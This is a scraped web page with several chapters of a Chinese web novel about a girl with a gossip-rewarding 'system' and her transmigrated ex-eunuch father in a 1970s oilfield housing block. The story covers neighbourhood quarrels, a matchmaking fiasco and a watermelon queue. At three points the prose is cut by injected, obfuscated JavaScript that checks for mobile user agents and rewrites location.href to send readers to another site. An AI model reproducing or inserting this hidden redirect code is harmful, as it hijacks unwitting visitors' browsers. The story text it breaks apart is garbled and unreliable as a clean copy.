他是没看见,他一走,姜满城很自然地提起包大夫的暖壶,倒了一杯水,还很仔细地和凉白开掺了掺,仰头咕咚咕咚喝了个干净。 等费用都缴清了,一家三口和小警察才一起往外走。外面,哦豁,比招待所还热闹。 油田职工医院主要是面向油田职工的,当然职工的父母、亲人自费的话,也是可以来看病的。人多事儿就多,什么离谱的都有。这不,一个穿着灰色补丁、上衣下裤的老头儿,裤子左腿还挽到了膝盖处,怀里死死抱着两个水龙头,滴答滴答往下渗水呢。就这,还不忘对医院保卫科的同志怒目而视。 “医院的就是大家的,既然是大家的东西,我拆了拿到家里用两天咋了?就两个水龙头,过几天再给你们还回来就行了,多大点儿事!你们医院咋这么自私,不知道尊老爱幼?!” 医院保卫科的几个小伙子都被大爷气笑了,其中一个有些年纪的大叔也不跟大爷掰扯,高声问:“这大爷是谁家的?家里有油田职工吗?有的话我们医院就找去了啊,这么不讲究的事儿,说到大天去,我们医院都占着理。” 人群里有人搭话:“他儿子是修井二队的郑老蔫儿。” 姜楠眼前一亮,不由多看了这老头儿几眼。郑老蔫儿,不就是范桃花的情夫之一?没想到来医院还有这奇遇呢。 姜满城多了解闺女啊,瞄了两眼老头儿,等出了医院,爷俩一顿叽叽咕咕,看得陈金花运了几次气才没发火儿。 小警察早告辞溜号了,姜满城让闺女坐在自行车后座儿,和陈金花一人推着一辆车子往家走。他家有两辆自行车,姜楠一辆,陈金花一辆。倒不是姜满城家庭地位低,不给买,而是陈金花和姜满城上班在一个大楼,早上陈金花骑车,带着姜满城就行。姜楠高中离家不算近,骑车更方便。 当然,姜满城一个大男人坐女人的车,小白脸吃软饭的名号叫得更响亮了。 可是姜满城在意吗?那是自然不在意了,而且乐意得很呢。不用他吭哧吭哧骑车,坐在后座儿,别提多轻松了。 要么说这一家有名呢,奇葩事可不老少。 如今姜楠高中毕业用不上自行车,陈金花今早又要去供销社沟通工人福利的事,姜满城只能自己骑车去上班,不得不说,还有点小不情愿呢。 奇葩的一家三口之一姜楠,见没外人了,赶紧做个鬼脸儿。陈金花心里无语,行动上倒是不含糊,将车子推得离两人更近些,姜楠才小声开口:“我今天赚了一百吃瓜币,回去买点儿好的补补。” “哎呦,我闺女就是能干。” 姜满城无脑夸,陈金花又开始例行叨叨:“今儿不是要吃肉?明天再买吧,你就是手里存不住钱,赚多少花多少那还能行......” 姜楠嘿嘿笑两声,完全不把陈金花的叨叨放在心里。她娘刀子嘴豆腐心,她早习惯了。 要说姜楠为啥心大的把系统的事儿都告诉父母,那也是没办法啊。她倒是想偷偷买点好吃的补补,可六零年那会儿困难时期,就连她爹这种油嘴滑舌的,都硬是省下粮食给她吃。她一个胎穿,又不是没感情的机器,当然一时冲动就告诉父母了。 姜满城和陈金花二人对闺女是真心疼爱的,就算闺女得了天大的机缘,两人也从不把闺女当怪物啥的,反而觉得闺女是受上天眷顾。要不然大家都饿着,咋闺女就能赚到吃的? 也是因为这个不隐瞒,姜楠才知道了他爹的大秘密!而且是不能告诉她娘的天大的大秘密! 他爹,也是穿越的。只不过是古穿今,从封建王朝的太监,穿越成如今地地道道的农村人! 本来系统是不打算将这个秘密告诉姜楠的。姜满城对宿主全无恶意,系统当然知道了,和主系统报告过后,主系统本来都决定不告知宿主了,让宿主享受最纯正的父爱母爱。谁知道宿主将他出卖了,为了公平,系统也告知了姜满城的不寻常。 姜满城,彻彻底底的封建底层,一路从被父母卖了的小太监,到后宫宠妃的得力大太监,要不是主子不给力,他觉得他还能再升。只不过要问姜满城最喜欢哪个时代,那毫无疑问是现在了。 在皇宫那个吃人的地方,他要是不一路往上爬,坟头早长草了。 这辈子能做个正常男人,还有个孩子,已经是天大的福分。至于陈金花虎背熊腰长得不好?问就是姜满城对菟丝花有阴影,就喜欢陈金花这种能给人带来安全感的类型。 什么,你说陈金花伤了身子不能再生?就这,还算是事儿吗?他一个上辈子的太监,见了太多打着孩子的名义,做出来的腌臜事。如今能有孩子有老婆,就谢天谢地了。 因此别看姜满城油嘴滑舌,对姜楠那是疼到骨子里的。同样疼爱姜楠的,还有她娘陈金花。三人路过油田供销社,陈金花很给面子地将肉摊上的骨头包圆儿,又买了一包桃酥。姜楠虽说伤的不重,到底是流了血,吃点儿好的也是应该。 “爸,妈,咱们从公园小树林里穿过去,这样快。”姜楠坐在车后座,晃荡着腿儿提议,“早点回去,也能看看100吃瓜币能买什么。” “行,满城你扶着小楠下来,我来带小楠。”陈金花拍板,显然也想早些回到家。 三人很快处理完,嗖嗖骑上自行车往家赶。陈金花不愧是大力女金刚,自行车都要镫出火花了,累得小白脸姜满城呼哧呼哧在后面追。 公园就是早上林兵相亲的那个,位于家属院附近。平时傍晚吃完饭,很多人会过去散步消食。只是此时大中午的,又是夏天,公园里人不多。 三人很快进入小树林,梧桐树还是很能遮阴的,三人立刻觉得阴凉起来。只是刚进去没一会儿,恨不得将自行车镫成风火轮的陈金花,来了个急刹车。 “妈呀,这......”这是跟上来的姜满城,他压低声音,震惊道,“这也太猖狂了吧?!” 震惊完,姜满城飞速地停好自行车,蛇形走位,蹑手蹑脚朝前挪:“这送上门儿的好戏,不看白不看。” 陈金花和姜楠动作同样不慢,姜楠不顾刚包扎好的伤脚,一瘸一拐也要跟上。 姜.身残志坚.吃瓜.楠。 一家三口鬼鬼祟祟,倒是没惊动前面打情骂俏的两人。 正前方不远处,孙巧莲拉着林兵的手,柔声说着什么。时不时挽两下头发,扭个身子,跟触电了似的。林兵伸手摸了摸他‘巧莲姐’的脸,一把将人拉进怀里,孙巧莲粉拳嗖嗖嗖往林兵身上招呼。 这家伙,跟演偶像剧似的,姜楠忍不住小声吐槽:“当这是舞台,演爱情戏啊。” 完全不知道被围观了的林兵,一把抓住孙巧莲的手,柔声道:“巧莲姐,你就承认吧,这还不是吃醋?今儿相亲,你一直盯着我,你怎么解释?” “我没有,我......”孙巧莲慌乱,眼睛左顾右盼,就是不敢看林兵。 林兵得意:“还嘴硬,你明明不负责公园这一片儿的,今儿是不是特意调班过来看我的?还有姜楠她们几个,平时装着不理我,其实都在背地里暗恋我,我什么不知道!” 姜楠中枪,她委屈,她难受,她......她想吐! 姜满城万千言语汇成一个动作,艰难地拍了拍闺女的肩膀,示以无声的安慰。陈金花捏紧拳头,这个普通又自信的男人,谁给他的勇气?! 孙巧莲内心也恶心得不行,表面却仍娇嗔道:“你这个冤家!冤家!” 她扭过身子,继续夹子音:“姐一直把你当亲弟弟,希望你能永远幸福。你这么好,天仙都是配得上的。今儿你受委屈了,姐是担心你,才来安慰安慰你,你这又说到哪儿去了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姜楠怀疑她穿越带来的这个系统,不是啥正经程序员开发的,不然咋说话这个味儿呢。不过她也不在意就是了,她上辈子忙活一辈子,还没享受就死了,这辈子可就指着系统吃香喝辣了。 “他看得紧,只能晚上去。可我家房子带厕所啊,晚上去公厕说不通,等我再想想办法。”姜楠不是为难自己的人,只要有一点危险的事,她都不做。好不容易重来一次,她惜命呢。 一人一统点评着下棋的老头儿们,这边姜满城和陈金花将自行车锁在树荫下,扶着姜楠一瘸一拐地上楼。她家住四楼,一路上不少接收邻居们的关心问候。 “小楠啊,没事儿吧?下次可别这么虎了,有刀子还敢往前冲,多危险啊。” “小楠那可是见义勇为。小楠啊,这见义勇为有啥奖励没?派出所就没送你点东西?” “就是啊,小楠说说呗。就算派出所不送,老吴家可不能不送吧,小楠可是救了吴大锤和范桃花呢,要不然范桃花没命,吴大锤也得蹲笆篱子。” “就是,老吴家啥时候回来啊,这派出所还没处理完?......” “应该没这么快,吴大锤都动刀子了,能轻易算了?也是年纪大了,要不我也不回来,在派出所外面看第一手消息,总比在家等消息强。” “就是,你说......” 姜楠:“???” 她就知道,这些邻居们,不用她想法子,自己就能把话题聊偏。 一家三口笑呵呵地回了家,门一关,姜满城立马拉住闺女的手,火急火燎地:“快看看,商城里有啥新货?” 这次升级前,系统就报备过,会有更强大的商城功能,姜满城作为一个纯古人,可是好奇着呢。 “来了来了。”姜楠立马双眼放空,点开系统商城查看。吃瓜系统更新后,加强了和主系统所在时空交易的功能。这也是主系统为了保障小弟们和宿主的安全,特意跟科技部门申请的。毕竟频繁地更换宿主,并没有长期绑定一个宿主划算。熟能生巧,这是谁都明白的道理。 “哎呀妈呀,吃瓜币升值了。”姜楠喜出望外,低声道,“现在一个吃瓜币可以换两个鸡蛋!” “那感情好啊。”姜满城跟着喜滋滋,“还有啥?” “我看看。”姜楠开始认真查看商城,“爸,咱以前的吃瓜币都花光了,如今的100吃瓜币,我看着就能买一个卤好的猪头和猪肝,要吗?” “那咋能不要,嘿嘿嘿,你娘可最爱吃卤猪肝,换。”姜满城可不是个会省钱的,虽说这系统跟了闺女六七年(当然,这是他以为的),但谁知道会不会哪天就突然消失。有钱当然是早点儿花啊,再说买生的食材还得炖煮,在这筒子楼里还不得被人怀疑?还是熟食最划算。 以往姜楠的吃瓜币都是换鸡蛋,煮鸡蛋没味道啊。现在升级能买卤肉,就连陈金花都有些嘴馋。 她,她从小受宠,也是不缺嘴的啊。 不过陈金花还是清清嗓子,开始教育闺女和姜满城:“以后该省还是要省,别一有钱就开始嘚瑟。还有,都警醒着些,吃完东西可得好好漱口,被人看出来可不是玩的。” 5. 排队风波 一家子美美地吃了顿凉拌猪头肉和猪肝,当然,没吃完。剩下的被陈金花加了些盐腌起来,肉骨头放在水里泡着,晚上炖汤喝。 这时候人都有睡午觉的习惯,半个小时到一个小时,下午两点多再出门上班。只要两点半能到岗就行,日子还是很舒坦的。 不怪大家怀念这时候的国企,此时的国企是真不卷啊。每个人都觉得自己是厂子的主人,只要是正式职工,没犯大错,就连对着厂长骂,都开除不了。 姜楠脚受伤,理所当然在家休养。她也闲不住,挪开窗台上的花盆,趴上面探头往下瞧,楼下大爷大妈们聊天可热闹得紧。别看四楼高,大爷大妈们声音大啊,姜楠耳朵又尖,加上系统实时播报,看得那是津津有味。 “小楠啊,你家中午咋没做饭?你这受伤了,你爹不给你做点儿好的补补?”刘老太眼尖,看见四楼探出的小脑袋,尖着嗓子吼道。 “嘿嘿,中午回来晚了,这不就吃点窝头就咸菜,对付对付。我娘疼我呢,晚上炖骨头汤,给我补补。”姜楠也不瞒着,这时候人都没隐私的概念,而且都住筒子楼,有个屁的隐私,在家打个喷嚏,隔壁都能听见,要讲隐私就是笑话。 方阿婆听到话,眼神闪了闪。 “我怎么闻着中午有炒鸡蛋的味儿?这中午有人炒鸡蛋吃了?”姜楠赶紧开口,抛出新的话题吸引注意力。 果然,裘老太撇撇嘴,视线朝方阿婆瞄过去,一副瞧不上的样儿:“有些人啊,整天哭穷,可吃的一点儿也不差。昨儿蒸白面馒头,今儿炒鸡蛋的,也不知道这钱都是哪里来的。” 刘老太立刻附和:“就是,整天寡妇人家寡妇人家的,比俺们双职工吃的还好呢。装什么可怜。” 方阿婆苦着一张脸,声音柔柔弱弱的,一副凄楚模样,她说:“我一个老婆子,那就是吃糠咽菜也愿意的。可我家三个孩子呢,最小的两个才八岁,不得吃点儿好的补补。我家巧莲不容易啊,每月除了上班,下了班还得在家糊纸盒子,礼拜六礼拜天还要去村子里挖野菜。我家日子过得苦啊,但能咋办呢,得让孩子吃的好点儿吧。我家是蒸馒头了,但就蒸了三个,那是给孩子吃的,其他的可都是窝头。今儿这炒鸡蛋,也是省了好几天才省出来三个,炒一炒给孩子补充营养。我家南笙、南海不补不行啊,那腿大晚上抽筋,疼得整晚整晚睡不着,我家苦啊。” 方阿婆是南边过来的,瘦瘦小小的,年轻时又长得好,如今一卖惨,真真是一朵风中摇曳的老白花,惹得不少老爷们开口支援。 “都是邻里邻居的,小方家确实是难,老裘,老刘,你俩怎么净揪着小方不放?可不兴这样欺负人。” “就是,大家都不容易,这是干啥呢。老程头,管管你家里的老娘们儿,不兴这么欺负邻居的。” 大家你一眼我一语的,倒是很快将这茬岔过去了。方阿婆低头假装抹眼泪,一副感恩的样儿,颤抖着肩膀跟大家道谢:“多谢大家了。” “说这些干啥,刚说到哪儿了......” 姜楠饶有兴味地听着系统的实况转播,感慨方阿婆段位高啊,卖惨卖得驾轻就熟。抬头,远远瞧见上午和林兵相亲的孙玲玲,冷着一张脸走过来。还是那身橙色连衣裙,头上多了个发箍,白色的,和脚上的白色塑料凉鞋倒是很搭。 她指着远处惊呼:“那不是早上的孙玲玲?她咋来了?” 众大爷大妈忙扭头去看,这一看不要紧,刘老太率先起身,冷哼一声:“她还有脸来。大兵就算年纪大点,配她也是亏了。” “就是,她咋有脸的。”坐着择菜的曹老太附和,“可不能让她骗了大兵。大兵咋说也是咱楼里的,可不能吃这个亏。” 姜楠立刻探头往东边看,今天为了相亲,林兵特意请了一天假,下午都没去上班呢。此时还没出来,估计还在睡午觉。 楼上没动静,楼下倒是吵吵起来了。大爷大妈们一个个挡在孙玲玲身前,义愤填膺。 “小贱蹄子你来干什么?!少来祸祸我们楼里的人,大兵可是我们看着的,你识相就赶紧滚。” “就是,赶紧滚。怀孕了还装姑娘来相亲,要不要脸呐你。” 孙玲玲气得脸都白了,要不是她的肚子不能再拖了,她早一巴掌扇这些人脸上了。饶是没动手,她也忍不住扯着嗓子回嘴:“关你们屁事,一个个闲得蛋疼。” “哎你怎么说话的,知不知道尊老爱幼?你家里就这么教你的?!没教养!” 孙玲玲一跺脚,叉腰骂道:“都给我让开,还尊老爱幼,你们一个个叫得比狗都凶,你们配吗?林兵呢,让他出来。今儿相亲可不能就这么算了。” “我说姑娘啊,脑子有病尽早治,说不得影响啥呢。”半晌,方阿婆幽幽开口。 真是笑话,没听过相亲不成,还得算账的。咋的,你当时旧社会的窑姐儿,见一面都得收钱呐?! 孙玲玲呸了一口,也不管众人被气得跳脚,她扬起头,梗着脖子冲楼上喊:“林兵,你出来。我孙玲玲能跟你相亲,那是看得起你。你少窝在家里装鹌鹑,我告诉你,八十八的彩礼,三转一响,三十六条腿,一个都不能少。看在你孝顺的面子上,你那残废老爹就不用送老家了,不过家务可得他干,我够通融了吧?林兵,你给我出来,你听见没有,我条件都放宽了,你拿什么乔?” 人群都愣住了,大家属实没见识过这种事儿啊。 就,有点反应不过来。 一个怀了孕的破鞋,她怎么敢要这么多?就是城里的大姑娘,六十六的彩礼都是多的了,她就敢要八十八?还三转一响,三十六条腿,她咋不上天呢?! 突然,刘老太像是被掐住了脖子的鸡,尖叫道:“你脑子被驴踢了吧?就你这样儿的破鞋,倒赔嫁妆人家还不一定要呢,你还敢要彩礼?” “就是,这年头真是啥样人都有。这姑娘啊,心里就没点儿避暑!” 其他大妈们纷纷对着孙玲玲指指点点,孙玲玲全然不当回事,不住地冲楼上叫嚷,也是很厚脸皮的一个人了。 楼上,林兵本来还在午睡。他家在四楼,平时楼下声音轻的话,是听不到的。 可如今都吵起来了,他自然也听到了吵嚷声。不过他一时没反应过来,等听到叫骂声,他气得一骨碌爬起来,一把推开卧室的门,见自家老爹沉着脸坐在餐桌前。 他家面积小,当初能分到这里,也是因为他爸是为了救人才受伤的,油田为了感谢他爸,特意给他家分了房子。不过只有四十平,两室一厨一卫,没有客厅。林大叔自从受伤,整日呆在楼上,心情肯定不好。如今听到楼下的叫骂声,脸就更不好看了。见儿子气冲冲出来,他压下心底的愤懑,不过声音仍是硬邦邦的:“我还是回村里住吧,整天呆在楼上也不是办法。我又不是瘫痪,住在乡下还能时常出去跟邻居们唠唠嗑......” 林兵抹了一把脸,不耐烦地打断:“得了吧你,根本就没想回去,在这装什么深明大义。” 林大叔气得直喘气:“要不是你跟个寡妇纠缠不清,你当老子愿意在楼上呆着!” “不愿意呆就走,我可没求你留下。”林兵硬邦邦地回嘴,转身砰一下打开门,一腔怒火冲着楼下吼道:“你愿意我还不愿意呢。咋,相亲了就得娶你啊?想啥美事儿呢!我林兵好歹也是石油工人,为啥不娶个黄花大闺女,要娶你这种破鞋?还通融,我要你通融了吗?我爹每月有补贴,用得着你,去死吧你。” 说着冲楼下狠狠吐了一口唾沫,咣当一声,甩上了门。 姜楠觉得这个瓜有些馊了,心里怪不得劲的。孙玲玲是不对,林兵拒绝也没错。可大家一口一个破鞋的,这话也太难听了吧。而且这事儿百分之八十的错,都是那个放映员造成的吧?怎么大家逮着孙玲玲骂个没完,一人都不提那个狗男人? 【因为那个狗男人没舞在你们面前啊。而且,宿主,据我扫描这么多人得出的结论,这个时代十分看重女人的贞洁,而且重男轻女,对女人并不公平的。】 姜楠看得无趣,正要搬着凳子回屋。她前世是学设计的,窝在屋里画画也觉其乐无穷。毕竟,既然来了,在哪儿都得乐呵着过不是。 “裘家媳妇儿,你在哪儿买的西瓜?供销社卖西瓜了?”突然,楼下传来一道比刘老太还尖锐的声响。姜楠闻言二话不说,一溜烟儿跑进屋,揣上票证、零钱和布袋子,三步并做两步地蹿下楼。那都不能说是蹿,简直是飞了。也是这一世的姜楠腿长,别人下两个台阶,她嗖一下,十个台阶下去了,奔得比楼下看热闹的大爷大妈还快。 “哎,你个小楠,不是脚受伤了嘛?怎么跑得比兔子还快!你可得给我们老人留点儿啊,不能买太多。” “哎呀,刘奶奶,肯定一人只能买一个啊,您没看陶阿姨就抱了一个嘛,您快去拿票和钱吧,再晚可就没了。” 刘老太一想还真是那么回事,一拍大腿,嗖嗖往家跑。她家老头子靠不住啊,整天坐石凳子上乘凉,这个家啊,还是得靠她。 刘老太昂着头往家跑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你是哪个院儿的啊?” “我是炼油厂那边过来的,我儿子可是技术员!” “那离得可不近。不过你儿子可真有出息,技术员至少得是大专生吧。” 前面大爷大妈们聊得起劲,姜楠乐呵呵听着,将‘到哪儿都得乐呵着过’这句名言警句发挥到了极致。这可是她的人生哲理。嗯,她本人说的,名言警句。 “小楠啊,让阿婆站你前面儿呗。你看,阿婆腿脚不灵便,来得晚了些,后面人多,怕是买不上啊。阿婆家里三个孩子,都等着吃西瓜呢,阿婆也不容易。你就当尊老爱幼,让让阿婆吧。” 方阿婆期期艾艾,眼神可怜又无助,看起来楚楚可怜。虽是个俊俏的老阿婆,到底年纪大了,威力减了许多,却也仍让后面准备说话的几个小年轻闭了嘴。没办法,年轻人面子薄啊,她们都是没工作的家属,说话分量也不重的。 倒是后面的大爷大妈们不答应了。都是洞庭湖的老麻雀了,在这演什么聊斋呢。就这点子道行,他们要是还看不破,那不是白长这么大岁数了。 “我说你个老同志,就你家有孩子啊?我家还四个娃儿呢,我家说啥了?做事总得讲究个先来后到,你来晚了就得站后面,没有插队的道理。你要是胡搅蛮缠,我们可叫供销社管事儿的了,不能这样的。” “就是,谁家没个孩子,别看着人家小姑娘面嫩就欺负人。你排前面了,要是我们买不上怎么办?没你这样儿的,走走走,后面排队去。” “老柳,你给我看着,我这就带这位同志去后面排队。”一位穿白衬衫短袖,顶着胡兰头的女同志出列,五十多岁的样子,一看就是岗位上退下来的,脸上带着相呢。 方阿婆就是欺软怕硬,见女同志带着官相,一脸不喜,倒是不敢再闹,只是仍不甘心,怯懦着开口:“小楠,要不你把位置让给阿婆?你到后面去排队。你看,你家就三个人,你都十六了,你爸妈正当年,吃不吃西瓜有啥?让给我们老同志和小孩子,发扬风格嘛,这位大妹子,你说是不是这个道理?年轻同志就是应该发扬风格,让着老同志嘛。” 这下人群里倒是没人多说什么了。要是方阿婆插队,他们可不依。可如今方阿婆让姜楠让位子,这没伤害他们的利益,他们也不好多嘴。毕竟,万一人家小姑娘愿意呢。 姜楠愿意才有鬼呢,她也不是好欺负的,抱胸开口道:“方阿婆,不是我不让你。你看,我这都见义勇为受伤了,不得吃点好的补补。再说尊老爱幼,您也得多爱护爱护年轻同志嘛。您平常总说,您吃过的盐比我吃过的饭都多,那吃过的西瓜肯定也比我多。我才十六,还没吃过几年西瓜呢,您也爱护爱护我,让我吃口西瓜呗。” 6. 肉骨头风波 不是姜楠不想正面刚,是这时代干啥都要个名声。她才高中刚毕业,还没找到工作呢,这名声,目前还不能太坏。嗯,目前而已。毕竟她爹,咳咳,也是装过几年相的。 白衬衫女同志多看了姜楠几眼,冲她点点头,拉着方阿婆就往后走:“这位老同志,油田可不是胡搅蛮缠的地方。你要是执意插队,我可就找你儿子单位了。我也是油田退下来的,认识的人可不少。你说,你儿子是哪个单位的?” 这年头,最怕找人单位,一找准挨批。方阿婆嗫嚅着不敢再说话,一步三回头地去后面排队,趁人不注意狠狠瞪了姜楠一眼。 这一幕被程改改见到,悄悄冲姜楠竖个大拇指。她是跑过来给刘老太送布袋子的,送完还得跑到前面去摸底儿呢。 “这次瓜可多了。”程改改很快哒哒哒跑回来,趴到姜楠耳边小声说,“成美娟今儿上班呢,你可以让她多给你留几个。” 姜楠眼前一亮,拍拍程改改的肩膀表示知道了。 其实成美娟跟姜楠也没啥关系,这不姜楠是个自来熟,每次来买东西,都能跟售货员拉呱两句,她爹姜满城同志比她还能说,一来二去就熟了。姜满城脸皮多厚啊,见面两次就敢让成美娟给他留意桃酥,因此两个女孩子的关系还成。这年头人也热心,姜楠就经常托成美娟给她留意吃的。 程改改很快离开,姜楠开始盘算买几个西瓜了。要是有冰箱,当然是越多越好。可如今没有,天又热,嗯,买三个吧,一天一个,吃上三天,应该坏不了。 要说为啥姜楠这么确定能多买呢?这搁到哪里都有家庭条件不好的啊。成美娟家还行,架不住供销社其他人家有不行的啊。所以很多时候,姜楠都能买到额外的份额,只需要多给些钱和票就行。 队伍前进的很快,等能看见供销社柜台,果然见成美娟高坐在货台上,一个一个地收钱。这年头货台都高得很,交钱的人得仰着脖子往上看,这也是售货员态度不好的原因之一。常年这么低头看人,心气儿能不高嘛。 等轮到姜楠交钱时,她轻咳一声,冲成美娟使个眼色。 成美娟会意,微不可查地点点头。 姜楠乐颠颠地抱着属于她的大西瓜,一路哼着歌儿回到了家。 住筒子楼方便是方便,可这自来水没有井水凉,西瓜一路被晒得热乎乎的,想降温都难。姜楠将西瓜放到餐桌上,叹口气,开始准备画画, 不过她也没画多久,程改改帮着把西瓜抱回家,也就来找她玩了,两人倒是聊了许多同学的去向。 也许是骨子里并没有这个时代的人这么热络,姜楠并没有过多关注高中同学。这时才知道,很多同学都选择了下乡,或者说,是同学的父母选择了下乡,下乡的人中,尤以女孩子居多。 “家里有工作的,都是给男娃,女娃早晚得嫁人,没人在意的。”程改改看得清楚,“下乡还有下乡补贴,很多同学的父母都给报了名。” 这也是程改改焦虑的原因,她家也重男轻女,大弟初中毕业就接了母亲的班,她虽然上到了高中毕业,但要是没工作,也是必须要下乡的。 两人聊了一下午,程改改看太阳西移,慌地起身离开。没多久,外面传来刘老太的叫骂声:“懒货,都这时候了还不知道回来做饭,就知道偷懒。” 姜楠摇摇头,起身将大骨头洗净,来到走廊,点火炖汤。不久,骨头汤的香气就传了出来,这时候缺油水,就算大骨头上没什么肉,骨头汤闻起来也是很香的。 咕咕咕。 侧面传来肚子叫的声音。姜楠默默无语,这个时候来的,就不是啥体面人。 毕竟,谁家在饭点儿找别人啊。 果然,姜楠一转头,就见方阿婆端着个大海碗,后面跟着方南笙、方南海两个小男孩。两人是双胞胎,虽然已经八岁了,但因为吃的不好,看起来也就六七岁的样子。小小年纪,眼睛贪婪地望向骨头汤,一看就不是安分的。 方阿婆也是脸皮厚,下午刚恶心过姜楠,这会儿没事人一样,依旧一脸苦相,弱弱地开口:“小楠啊,你今天炖骨头汤吧?你看你南笙弟弟和南海弟弟两个小可怜,这都八岁了还没吃过啥好东西。你就可怜可怜他俩,给阿婆盛一碗骨头汤吧?咱也不要肉,就要一碗汤,多添一碗水的事儿,你不会不愿意吧?” 姜楠还没开口,就传来陈金花的狮子吼:“好你个方阿婆,这是趁我家没人,欺负小楠是吧?凭啥我家炖骨头汤就得给你家喝?想什么美事儿呢。你家中午吃炒鸡蛋,咋不分我家点儿。还添一碗水的事儿,说的轻巧,我就买了一斤骨头,那能用十斤水炖吗?你个专会装可怜的老虔婆,收起你的可怜相,我可不是那些心里没数儿的老头,能被你骗了去。真是可笑,就你还可怜。中午都吃过炒鸡蛋了,晚上还想喝骨头汤,咋不美死你呢?你家这可比地主老财吃的都好了,还可怜。呸。” 方阿婆心里骂一声晦气,要知道就早点儿来了,谁知道陈金花今天下班这么早。 心里将人骂了一百遍,面上仍是柔柔的,一脸可怜相:“金花你怎么这么凶?我这还不是看孩子可怜。你说谁家没个孩子,要是我自己,就是饿死,我也不会来别人家要吃的。这不是孩子小嘛,大晚上的抽筋,这不得喝点骨头汤补补。我一个快死的老婆子,吃啥不行,可孩子不行啊,我豁出去这张老脸,也得为孩子们着想啊。” 方南笙、方南海立刻机灵地就地一躺,撒泼打滚地要喝骨头汤。 “呸!少在这里装可怜。你家这俩孩子都八岁了,又不是两三岁不懂事的娃娃。这么大了,屁事儿不懂,还撒泼打滚要吃的,惯得他们!你要是不管,我可就替你上手了。这孩子,不打不成器!” 陈金花叉腰撸袖子的就要动手,吓得地上的两孩子一骨碌爬起来,嗖一下蹿进屋里。没办法,陈金花长得多凶啊,虎背熊腰的,那可是能止小儿啼哭的。 倒不是陈金花小题大做,是方阿婆习惯了占人便宜。每次楼里有人做了好吃的,她都带着两个孩子站别人家门口。开始陈金花也不是没心软过,架不住每次都来这一套啊。楼里三十户,二十九户都被方阿婆这么对付过,就离谱。 这不,饶是陈金花说话这么不好听,也没人帮方阿婆说话。可见,楼里苦方阿婆久矣。 况且谁家不想吃点儿好的,这时候,就连那些容易上头的老大爷们,都不冒头了。 不过这可不包括林兵,他今儿本来就气不顺,先是被孙玲玲找茬,气得连西瓜都没去买,如今又见有人欺负他‘巧莲姐’的孩子,可不就气血翻涌,一下子上头了嘛,他气愤地说:“陈金花,你这说话也太难听了。就一碗汤的事儿,邻里邻居的,小孩子晚上腿抽筋想喝,有什么大不了的,值得你这么骂,真是越有钱越抠门!” 陈金花能放了林兵?!小树林的话她还记得呢,本来就烦得不行,个自作多情的丑八怪,还肖想她家姜楠喜欢他,他咋不上天呢。陈金花怒目圆瞪,对着林兵无差别攻击:“滚一边儿去吧你,你想舔人家寡妇臭-脚,自己舔去,别拉上我。我们家有钱怎么啦,有钱那也是自己挣的,想怎么花就怎么花。咋啦,你还想抢钱啊?没见过这么沙比的光棍,怪不得娶不着媳妇,这傻得都冒泡儿了,被人家耍得团团转,还以为自己多聪明呢。” “你!”林兵气得跳脚,他最讨厌别人说他娶不着媳妇儿,顿时头上都冒烟儿了。 “金花姐,我和林兵清清白白的,你不要这样冤枉林兵。” 孙巧莲今天下班早,听到楼里的争吵声本来不打算冒头的。她婆婆经常端着碗要东西,因为卖惨卖得好,很多时候都能要回来点儿。她这时候出去受人白眼儿才是傻子呢。谁承想今天陈金花吃了枪子儿了,对谁都骂。她刚哄着林兵买了鸡蛋和一包桃酥,可得好好拉拢拉拢,这才装着刚下班的样子开口。 她接着说:“我是个寡妇,你咋说我都不要紧,谁让大家都看不起寡妇呢。可林兵是个大小伙子,以后还得娶媳妇儿呢,你可不能这么冤枉人。” 她紧咬嘴唇,双眼含泪,却强忍着倔强地没掉下来,只是胸脯子一颤一颤的,看得楼里的大老爷们儿直咽口水。 “巧莲啊,你可回来了,咱们家日子过得苦啊,都靠你一个人辛辛苦苦打扫卫生撑着。娘给你丢人了。咱得感谢林兵,林兵多好的人啊,为咱家说两句话,就被人家这么挤兑。林兵你别生气,金花说的都是气话,你别当真。我家孩子不喝了,腿抽筋就抽筋吧,谁让我们孤儿寡母的日子难过呢......”方阿婆期期艾艾,见还是没人帮她说话,大滴大滴的眼泪往下流。那泪落的,比琼瑶戏女主都精准。 只不过人家二十岁的小姑娘哭一哭,那是梨花带雨。方阿婆一个老太太,泪落下来,却是顺着脸上的沟沟壑壑往下蔓延,大雨滂沱似的,一点儿也没有美感。 陈金花全程冷着脸,姜满城黝黑的眼珠子一眨不眨,直直盯着方阿婆,倒让她心里突了突,渐渐没了声音。 邻里没帮方家婆媳说话的,却不乏说酸话内涵姜家的。谁让她家吃得好呢。这不,最东头的裘老太开口了:“哎呀,有个工程师爹就是能耐,不是红烧肉就是大骨头的,还能天天早上吃鸡蛋。哪像我们这些八辈儿贫农,整天不是咸菜就是菜窝窝,那日子,比黄连还苦呐。” 按说姜家住西户,和最东头的裘老太家离得最远,两家来往并不多。可谁让裘老太觉得两家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236753|166133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是对照组呢。 对,就是对照组。东头和西头的房子,是筒子楼里最大的户型,裘老太家能住上,也是沾了他儿子的光。他儿子是钻井二队的副队长,手底下管着二十多号人呢,儿媳妇又是幼儿园的阿姨,正式职工。双职工分的房子当然更大,裘老太自认为是楼里有头有脸的。 